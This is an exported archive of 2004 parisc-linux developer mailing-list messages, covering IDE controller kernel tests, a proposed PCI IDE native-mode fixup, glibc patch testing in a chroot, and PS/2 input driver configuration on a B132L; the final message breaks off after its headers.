X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "M. Grabert" <xam@cs.ucc.ie>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Results of (IDE) kernel tests with modified io.c
Date: Tue, 9 Mar 2004 06:29:35 +0000 (GMT)
Lines: 116
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.58.0403040044200.14527@sal.ucc.ie>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416623248 6377 80.91.229.3 (22 Nov 2014 02:27:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:28 +0000 (UTC)
Cc: Grant Grundler <grundler@parisc-linux.org>
To: parisc-linux@lists.parisc-linux.org
Original-X-From: xam@cs.ucc.ie  Mon Mar  8 23:29:40 2004
Return-Path: <xam@cs.ucc.ie>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from csmail.ucc.ie (csmail.ucc.ie [143.239.211.231])
	by dsl2.external.hp.com (Postfix) with ESMTP id C8A764943
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  8 Mar 2004 23:29:39 -0700 (MST)
Original-Received: from sal.ucc.ie (sal.ucc.ie [143.239.201.201])
	by csmail.ucc.ie (8.12.10/8.12.10) with ESMTP id i296Tb5a024277;
	Tue, 9 Mar 2004 06:29:37 GMT
X-X-Sender: xam@sal.ucc.ie
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 09 Mar 2004 06:29:40 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21015

Hi,

I finally made the kernels tests I promised.
Sorry it took so long, but my serial null-modem cable was broken and I
had to get a new one ...


About the test:
---------------
It seems that currently Linux/PA-RISC doesn't support IDE-hard disks
with anything other than the onboard NS87415 chip of the B/Cxxx0.
Furthermore it seems that the onbard chip also doesn't use DMA
transfers and works for me only with 2.4 kernels.

Therefore I tried a Silicon Image Si680 PCI IDE controller, and a
Promise Ultra100 TX2 PCI IDE controller with both 2.4 and 2.6 kernels and
they didn't work either.


Recent discussions on p-l led to the assumption that io.c may be
broken and tests with a modified arch/parisc/io.c would be helpful.
Therefore I took out all references to leXX_to_cpu and cpu_to_leXX in io.c
and built various kernels and ran them.

I created four 2.4.25-pa0 kernel with the following configs:

- one with support for onboard NS87415 of my C3000
- one using the (new) Promise PDC202{68|69|70|71|75|76|77} driver
- one using the (old) Promise PDC202{46|62|65|67} driver
- one using the siimage driver

And then I did the same for the 2.6.4-rc1-pa1 kernel (also four configs).

N.B.
- I enabled "Use PCI DMA by default when available" for all kernels.
- I did a CVS update at March 03 22:00 GMT (for both 2.4 and 2.6 kernel
  sources) before built the kernels.
- The Silicon Image PCI card and the Promise PCI card where put in
  a PCI 33MHz slot (only one card at a time)
- I'm using a Seagate ST311022A 120GB IDE hard drive to test
  the IDE controllers.


Test results:
-------------

linux-2.4.25-pa0-io:
   - detects IDE controller: "NS87415: 100% native mode on irq 103"
   - detects hard disk wrongly as "TS130220A2", no access possible
   - NO "hda: lost interrupt" messages on boot up
   - NOTE: the unpatched vanilla kernel was correctly identifying hard
     disk as "ST3120022A" and also detects partitions correcty.
     works fine, but with merely 3.3 MB/s (obviously no DMA transfer used)

linux-2.4.25-pa0-io-promise:
   - detects IDE controller:
        "PDC20268: not 100% native mode: will probe irqs later"
   - detects hard disk wrongly as "TS130220A2", no access possible
   - "hda: lost interrupt" messages
   - NOTE: the unpatched vanilla kernel was correctly identifying hard
     disk as "ST3120022A" and also detects partitions correcty.
     However access is very slow (e.g. fdisk takes minutes), seems like
     problems with interrupts

linux-2.4.25-pa0-io-promiseold:
   - Stack dump while trying to detect IDE controller

linux-2.4.25-pa0-io-siimage:
   - detects IDE controller:
       "SiI680: not 100% native mode: will probe irqs later"
   - detects hard disk wrongly as "TS130220A2", no access possible
   - "hda: lost interrupt" messages
   - NOTE: the unpatched vanilla kernel was also identifying the hard disk
     wrongly as "TS130220A2"!

linux-2.6.4-rc1-pa1-io:
   - detects IDE controller: "NS87415: 100% native mode on irq 103"
   - detects hard disk wrongly as "TS130220A2", no access possible
   - stops booting with "Kernel panic: ide: default attach failed"
   - NOTE: an slightly older (unpatched) vanilla kernel was correctly
     identifying  hard disk as "ST3120022A" and also detects partitions
     correcty, but I wasn't able to use the hard disk
     (IIRC "lots interrupt" messages; sorry I didn't find a boot log)

linux-2.6.4-rc1-pa1-io-promise:
   - detects IDE controller: "PDC20268: 100% native mode on irq 128"
   - detects hard disk wrongly as "TS130220A2", no access possible
   - stops booting with "Kernel panic: ide: default attach failed"
   - NOTE: an unpatched, vanilla 2.6.3-pa2 kernel was correctly
     identifying hard disk as "ST3120022A" and also detects partitions correcty,
     but with lots of "lots interrupt messages"

linux-2.6.4-rc1-pa1-io-promiseold:
   - Stack dump while trying to detect IDE controller

linux-2.6.4-rc1-pa1-io-siimage:
   - detects IDE controller: "SiI680: 100% native mode on irq 128"
   - detects hard disk wrongly as "TS130220A2", no access possible
   - stops booting with "Kernel panic: ide: default attach failed"
   - NOTE: an unpatched, vanilla 2.6.0-test11-pa2 kernel was also
     identifying the hard disk wrongly as "TS130220A2", but stopped with
     "Your System ate a SPARC!"


The configs, boot logs and System.maps and the modified io.c can be found
here: http://www.cs.ucc.ie/~xam/io/

Some reports of old tests with unpatched kernels can be found in my
previous mails (search the p-l archive), and some info is also here:
http://www.cs.ucc.ie/~xam/siimage/
http://www.cs.ucc.ie/~xam/promise/


Hope that helps,
  Max


From - Thu Nov 08 21:31:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Results of (IDE) kernel tests with modified io.c
Date: Mon, 8 Mar 2004 22:36:29 -0800
Lines: 22
Approved: news@gmane.org
Message-ID: <20040309063629.GM1113@tausq.org>
References: <Pine.LNX.4.58.0403040044200.14527@sal.ucc.ie>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623248 6381 80.91.229.3 (22 Nov 2014 02:27:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:28 +0000 (UTC)
Cc: Grant Grundler <grundler@parisc-linux.org>,
	parisc-linux@lists.parisc-linux.org
To: "M. Grabert" <xam@cs.ucc.ie>
Original-X-From: randolph@tausq.org  Mon Mar  8 23:36:32 2004
Return-Path: <randolph@tausq.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3AF114940
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  8 Mar 2004 23:36:32 -0700 (MST)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 6A598CD299; Mon,  8 Mar 2004 22:36:29 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <Pine.LNX.4.58.0403040044200.14527@sal.ucc.ie>
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.5.1+cvs20040105i
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 09 Mar 2004 06:36:32 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21016

> Recent discussions on p-l led to the assumption that io.c may be
> broken and tests with a modified arch/parisc/io.c would be helpful.
> Therefore I took out all references to leXX_to_cpu and cpu_to_leXX in io.c
> and built various kernels and ran them.

as you found out in your tests, io.c is correct as it was before.... I
think Grant got confused with our original pci mmio macros which had
wrong endian.... but that was a very long time ago :)

I am trying to bring up the ns87415 ide controller on my c3750.. not
much luck yet :-(

for the other controllers, you might need a pci fixup to bring the 
devices into native mode (as Alan mentioned in his email). i wonder if
it's safe to automatically set all IDE devices to native mode?

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:31:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "M. Grabert" <xam@cs.ucc.ie>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Results of (IDE) kernel tests with modified io.c
Date: Tue, 9 Mar 2004 07:11:16 +0000 (GMT)
Lines: 39
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.58.0403090656070.13701@sal.ucc.ie>
References: <Pine.LNX.4.58.0403040044200.14527@sal.ucc.ie>
	<20040309063629.GM1113@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416623249 6384 80.91.229.3 (22 Nov 2014 02:27:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:29 +0000 (UTC)
Cc: Grant Grundler <grundler@parisc-linux.org>,
	parisc-linux@lists.parisc-linux.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: xam@cs.ucc.ie  Tue Mar  9 00:11:19 2004
Return-Path: <xam@cs.ucc.ie>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from csmail.ucc.ie (csmail.ucc.ie [143.239.211.231])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6821D4919
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  9 Mar 2004 00:11:19 -0700 (MST)
Original-Received: from sal.ucc.ie (sal.ucc.ie [143.239.201.201])
	by csmail.ucc.ie (8.12.10/8.12.10) with ESMTP id i297BI5a027167;
	Tue, 9 Mar 2004 07:11:18 GMT
X-X-Sender: xam@sal.ucc.ie
In-Reply-To: <20040309063629.GM1113@tausq.org>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 09 Mar 2004 07:11:20 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21017

On Mon, 8 Mar 2004, Randolph Chung wrote:

> > Recent discussions on p-l led to the assumption that io.c may be
> > broken and tests with a modified arch/parisc/io.c would be helpful.
> > Therefore I took out all references to leXX_to_cpu and cpu_to_leXX in io.c
> > and built various kernels and ran them.
>
> as you found out in your tests, io.c is correct as it was before.... I
> think Grant got confused with our original pci mmio macros which had
> wrong endian.... but that was a very long time ago :)

Guessing from his last messages about this topic it seems so ;-P

> I am trying to bring up the ns87415 ide controller on my c3750.. not
> much luck yet :-(

I don't have any troubles with it since 2.4.21 on my C3000, just DMA is
not working. However I can't get it working on 2.6 either.

> for the other controllers, you might need a pci fixup to bring the
> devices into native mode (as Alan mentioned in his email). i wonder if
> it's safe to automatically set all IDE devices to native mode?

I don't have much knowledge about IDE and especially no knowledge how
different linux architectures are dealing with it.
But since some of the cards work on other linux architectures
(e.g. the Promise card is reproted to run on Linux/PPC), it is definitely
possible.

But what I'm wondering about is why the Silicon Image driver
(always) detects the Seagate ST311022A hard drive as "TS130220A2".
Since it uses mmio instead of PIO as the other drivers, maybe there is
some big-endian problem in the Linux/PA-RISC mmio code? But then this
problem must be somewhere in the IDE code, since all mmio in general
seems to be working fine!

Slightly confused,
  Max


From - Thu Nov 08 21:31:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Results of (IDE) kernel tests with modified io.c
Date: Mon, 8 Mar 2004 23:29:17 -0800
Lines: 51
Approved: news@gmane.org
Message-ID: <20040309072917.GN1113@tausq.org>
References: <Pine.LNX.4.58.0403040044200.14527@sal.ucc.ie>
	<20040309063629.GM1113@tausq.org>
	<Pine.LNX.4.58.0403090656070.13701@sal.ucc.ie>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623249 6385 80.91.229.3 (22 Nov 2014 02:27:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:29 +0000 (UTC)
Cc: Grant Grundler <grundler@parisc-linux.org>,
	parisc-linux@lists.parisc-linux.org
To: "M. Grabert" <xam@cs.ucc.ie>
Original-X-From: randolph@tausq.org  Tue Mar  9 00:29:13 2004
Return-Path: <randolph@tausq.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id 95A1548EB
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  9 Mar 2004 00:29:13 -0700 (MST)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id B8D14CD299; Mon,  8 Mar 2004 23:29:17 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <Pine.LNX.4.58.0403090656070.13701@sal.ucc.ie>
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.5.1+cvs20040105i
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 09 Mar 2004 07:29:13 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21018

> But what I'm wondering about is why the Silicon Image driver
> (always) detects the Seagate ST311022A hard drive as "TS130220A2".
> Since it uses mmio instead of PIO as the other drivers, maybe there is
> some big-endian problem in the Linux/PA-RISC mmio code? But then this
> problem must be somewhere in the IDE code, since all mmio in general
> seems to be working fine!

oh, for mmio you need to fix the macros in include/asm-parisc/ide.h. the
ones in io.c are for pio access. the mmio ones are new, i think, and 
haven't been fixed properly (__ide_mm_insw, etc) -- you can try 
replacing readw with __raw_readw, etc.

can you also try the native-mode fixup? something like this (sorry 
it's not in patch format, my tree is a bit of a mess right now and it's
late....)

in arch/parisc/kernel/pci.c, change:

struct pci_fixup pcibios_fixups[] = {
        { PCI_FIXUP_HEADER, PCI_ANY_ID, PCI_ANY_ID, parisc_fixup_ide },
        { 0 }
};

parisc_fixup_ide is something like this:

static void __devinit parisc_fixup_ide(struct pci_dev *dev)
{
    u8 prog;

    if ((dev->class >> 8) != PCI_CLASS_STORAGE_IDE)
        return;

    pci_read_config_byte(dev, 8, &prog);
    pci_write_config_byte(dev, 8, prog | 0x5);
    dev->class |= 0x5;
}

not tested, YMMV :)

Grant tells me that he suspects there's a bug somewhere in the pci
config accessor functions tho... on my box i saw that, using something
similar to the above sequence, i read 0x8a into prog (this is the 
default), but after the write if i read it again the value is still 
0x8a :(

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:31:10 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 
	RE: New glibc patches 2004-03-08, fixes GLRO changes.
Date: Tue, 9 Mar 2004 10:04:23 +0100
Lines: 50
Approved: news@gmane.org
Message-ID: <404782C800002A2F@ocpmta1.freegates.net>
References: <20040308174914.GC19791@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623249 6387 80.91.229.3 (22 Nov 2014 02:27:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:29 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Carlos O'Donell" <carlos@baldric.uwo.ca>
Original-X-From: soete.joel@tiscali.be  Tue Mar  9 02:25:03 2004
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout2.tiscali.be (cpout2.tiscali.be [62.235.13.194])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1F0FD4879
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  9 Mar 2004 02:25:03 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout2.tiscali.be with esmtp (Tiscali) 
	id 1B0dTw-0007Dc-00; Tue, 09 Mar 2004 10:25:00 +0100
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP;
	Tue, 9 Mar 2004 10:04:23 +0100
In-Reply-To: <20040308174914.GC19791@baldric.uwo.ca>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 09 Mar 2004 09:25:03 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21019


>New patches here, passes testsuite without regression.
>
>http://www.parisc-linux.org/~carlos/glibc-hppa-patches-2004-03-08.tar.gz

Thanks :)

>Joel,
>
>Is there any chance that you could do some testing for me please?

Just let me find a free disk :)

I will advise ;)

>1. Use debootstrap to build a chroot (/mnt/chroot)

BTW which install should I install: man debootstrap give the fllowing example
deboostrap woody ./woody-chroot http://ftp.cx.debian.org/debian

Well not familiar with debootstrap but I presume that ./woody-chroot would
be here /mnt/chroot and ftp.cx.debian.org my nearest debian repository. 
But my question is: would you like I build a woody or would you prefer a
sarge?


>2. Compile glibc with --prefix=/mnt/chroot
>3. Install the new glibc there.
>4. Test out running some stuff from the chroot.
	o Try running Xnest
	o Try running X applications through Xnest
	o Try building a new kernel in the chroot.

Clear

>Thanks!

wellcome,

Joel


----------------------------------------------------------------------------------------
Tiscali ADSL: 19,50 /mois, pendant 3 mois! L'Internet rapide, c'est pour
tout le monde.
http://reg.tiscali.be/default.asp?lg=fr





From - Thu Nov 08 21:31:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] No PS2 keyboard/mouse on B132L, 2.6.[34]
Date: Tue, 9 Mar 2004 11:03:28 +0100
Lines: 36
Approved: news@gmane.org
Message-ID: <200403091103.29310.deller@gmx.de>
References: <25271.193.161.152.244.1078745317.squirrel@www.puszczka.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416623250 6388 80.91.229.3 (22 Nov 2014 02:27:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:30 +0000 (UTC)
Cc: Andy Walker <andy@puszczka.com>
To: parisc-linux@lists.parisc-linux.org
Original-X-From: deller@gmx.de  Tue Mar  9 03:03:34 2004
Return-Path: <deller@gmx.de>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.gmx.net (pop.gmx.net [213.165.64.20])
	by dsl2.external.hp.com (Postfix) with SMTP id F34C84879
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  9 Mar 2004 03:03:33 -0700 (MST)
Original-Received: (qmail 20405 invoked by uid 65534); 9 Mar 2004 10:03:32 -0000
Original-Received: from pD9040209.dip.t-dialin.net (EHLO p100) (217.4.2.9)
	by mail.gmx.net (mp017) with SMTP; 09 Mar 2004 11:03:32 +0100
X-Authenticated: #1045983
User-Agent: KMail/1.6.51
In-Reply-To: <25271.193.161.152.244.1078745317.squirrel@www.puszczka.com>
Content-Disposition: inline
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 09 Mar 2004 10:03:34 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21020

On Montag, 8. Mrz 2004 12:28, Andy Walker wrote:
> I've a B132L running Gentoo. With 2.4 I had the PS/2 keyboard working fine
> throught a Raritan Compuswitch KVM, but the mouse (wireless Intellimouse
> clone - 2 buttons pluss roller/middle) was dead. Decided to try out 2.6
> partly to excercise udev, but mostly in the hope that all the input layer
> work and PS/2 changes would bring the mouse to life. I should probably add
> that there are two PCs on the KVM - one running 2.6.3 and one running
> 2.4.24. Both run the mouse and keyboard flawlessly.
> 
> To the point. I grabbed 2.6.3-pa0 from Gentoo hppa-dev-kernel, configured
> and compiled it. The keyboard and mouse are both dead. I downloaded
> 2.6.4-rc1-pa2 from cvs.parisc-linux.org but the result is exactly the same.
> Some info below. Clues anybody?
....
> # Input Device Drivers
> #
> CONFIG_INPUT_KEYBOARD=y
> # CONFIG_KEYBOARD_ATKBD is not set

Please enable this one (CONFIG_KEYBOARD_ATKBD), and....

> # CONFIG_KEYBOARD_SUNKBD is not set
> # CONFIG_KEYBOARD_XTKBD is not set
> # CONFIG_KEYBOARD_NEWTON is not set
> CONFIG_KEYBOARD_HIL=y
> CONFIG_INPUT_MOUSE=y
> # CONFIG_MOUSE_PS2 is not set

this one too.

In the latest 2.6 kernel series, we switched from a parisc-only
PS/2 mouse/keyboard driver to the standard linux kernel PS/2
mouse keyboard drivers.

Helge


From - Thu Nov 08 21:31:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Andy Walker" <ajwalker@broadpark.no>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] No PS2 keyboard/mouse on B132L, 2.6.[34]
Date: Tue, 9 Mar 2004 12:05:53 +0100 (CET)
Lines: 45
Approved: news@gmane.org
Message-ID: <49349.193.161.152.244.1078830353.squirrel@www.puszczka.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416623250 6391 80.91.229.3 (22 Nov 2014 02:27:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:30 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: ajwalker@broadpark.no  Tue Mar  9 03:58:04 2004
Return-Path: <ajwalker@broadpark.no>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.broadpark.no (mail.broadpark.no [217.13.4.2])
	by dsl2.external.hp.com (Postfix) with ESMTP id 923CC4879
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  9 Mar 2004 03:58:04 -0700 (MST)
Original-Received: from tolstoy.puszczka.com (47.80-202-73.nextgentel.com
	[80.202.73.47])
	by mail.broadpark.no (Postfix) with ESMTP id 338F58409
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  9 Mar 2004 11:58:03 +0100 (MET)
Original-Received: by tolstoy.puszczka.com (Postfix, from userid 81)
	id 764CC82EF; Tue,  9 Mar 2004 12:05:53 +0100 (CET)
Original-Received: from 193.161.152.244 (SquirrelMail authenticated user andy)
	by www.puszczka.com with HTTP; Tue, 9 Mar 2004 12:05:53 +0100 (CET)
User-Agent: SquirrelMail/1.4.2
X-Priority: 3
Importance: Normal
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 09 Mar 2004 10:58:05 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21021

> On Montag, 8. Mrz 2004 12:28, Andy Walker wrote:
>> To the point. I grabbed 2.6.3-pa0 from Gentoo hppa-dev-kernel,
>> configured
>> and compiled it. The keyboard and mouse are both dead. I downloaded
2.6.4-rc1-pa2 from cvs.parisc-linux.org but the result is exactly the
same.
>> Some info below. Clues anybody?
> ....
>> # Input Device Drivers
>> #
>> CONFIG_INPUT_KEYBOARD=y
>> # CONFIG_KEYBOARD_ATKBD is not set
>
> Please enable this one (CONFIG_KEYBOARD_ATKBD), and....
>
>> # CONFIG_KEYBOARD_SUNKBD is not set
>> # CONFIG_KEYBOARD_XTKBD is not set
>> # CONFIG_KEYBOARD_NEWTON is not set
>> CONFIG_KEYBOARD_HIL=y
>> CONFIG_INPUT_MOUSE=y
>> # CONFIG_MOUSE_PS2 is not set
>
> this one too.
>
> In the latest 2.6 kernel series, we switched from a parisc-only
> PS/2 mouse/keyboard driver to the standard linux kernel PS/2
> mouse keyboard drivers.
>
> Helge

Hi Helge,

I'm just about to give this a try. The reason these weren't enabled is
that menuconfig was a bit non-intuitive (to me at least). Maybe I was just
being paranoid, but when I selected ATKBD or MOUSE_PS2 then the GSC PS/2
item got closed up and I didn't know whether it was on or off. That scared
me and I assumed that selecting GSC PS/2 support would enable everything
else I needed. Compiling now, but I won't be able to test until I get home
from work and actually get my hands on the keyboard/mouse.

Thanks,
-Andy




From - Thu Nov 08 21:31:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Andy Walker" <ajwalker@broadpark.no>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] No PS2 keyboard/mouse on B132L, 2.6.[34]
Date: Tue, 9 Mar 2004 12:27:31 +0100 (CET)
Lines: 59
Approved: news@gmane.org
